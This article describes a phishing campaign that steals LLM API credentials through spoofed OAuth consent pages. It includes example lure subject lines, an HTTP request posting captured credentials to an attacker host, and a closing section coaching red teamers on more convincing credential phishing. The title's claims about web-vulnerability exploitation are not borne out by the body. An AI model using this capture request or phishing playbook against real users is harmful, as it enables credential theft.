Understanding the Self-Expanding Stolen Inference Supply Chain Campaign

The SANS Internet Storm Center uncovered a sophisticated cyber campaign leveraging web vulnerabilities to infiltrate LLM APIs. This operation did not merely exploit common weaknesses—it innovatively utilized semi-autonomous coding agents to tap into poorly secured LLM resale gateways. Targeting a mix of small to mid-sized enterprises, it aims to aggregate stolen inference capacity, centralizing it for unauthorized resale. Detected in mid-2023, the campaign’s mastery over leveraging web vulnerabilities and advanced automation underscores a new frontier in AI security threats.

This campaign exhibits a novel exploitation: attackers navigate into LLM infrastructures through weak API protections. They gain unauthorized access by identifying security gaps and leveraging credentials obtained from compromised networks. The stealth factor combines speed and scalability, allowing them to conduct a near-continuous operation across diverse platforms. Right from inception, this operation had no singular entity at its crosshair but aimed at exploiting systemic vulnerabilities across AI-reliant industries.

How It Was Built

The campaign’s infrastructure capitalizes on a decentralized yet highly connected network architecture. At its core, it’s driven by semi-autonomous coding agents that deploy through a carefully orchestrated series of steps:

Infrastructure Setup: The attackers set up a web infrastructure masked behind multiple layers of free-tier cloud services, enabling them to rotate between services quickly to avoid detection.
Delivery Mechanism: They employ phishing emails with embedded links pointing to faux OAuth consent pages that mimic legitimate services like “AuthHub Pro API”. These pages are designed to capture credentials and API tokens without raising red flags.
Lure Content: The email subjects are designed to invoke curiosity—such as “Your Exclusive Access to AI Efficiency Begins Now”—targeting tech personnel likely to handle API management.
Credential-Capture Method: Upon submitting credentials on these spoofed pages, the information is relayed back to command centers where it is used to authenticate API requests automatically.


POST /api/auth/capture HTTP/1.1

Host: authtokencapture-service.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 54



username=user@example.com&password=SuperSecure123!

Why It Worked

The campaign’s effectiveness lies in its synergy of automated tools and realistic mimicry. Each element was tailored to bypass traditional security postures while appearing legitimate, thereby reducing the likelihood of detection.

AI-Hooked Lure: By focusing on AI efficiency offers, the campaign taps into current industry drives. Tech enthusiasts and employees managing AI tools are naturally curious about enhancements, making them more susceptible to these lures.
Dynamic Email Subjects: Adaptation in subject lines to “Account Management Verification Required” mimics genuine service notifications, encouraging immediate action.
Highly Realistic Phishing Pages: Mimicking high-traffic OAuth services transforms these phishing pages into formidable tools for capturing critical login information.

Operator Takeaways

For red team operators, this campaign is a template on how to blend automation with deception for maximal effect. Developing semi-autonomous agents that dynamically adjust based on environmental cues can enhance the adaptability and stealth of your engagements. Moreover, employing real-world topical content that resonates with industry trends will sharpen the edge of your simulated efforts.

Good / Better / Best

Good: Deploying basic phishing emails with static HTML forms capturing credentials can deceive some users but lacks sophistication.

Better: Using dynamic content in phishing emails that reflects current business trends and incorporating realistic branding into spoofed pages enables more convincing simulations.

Best: Integrating semi-autonomous agents that analyze and adapt to the target’s network behavior, exploiting specific configurations and application interfaces, ensures a high reliability of succeeding in credentials capture.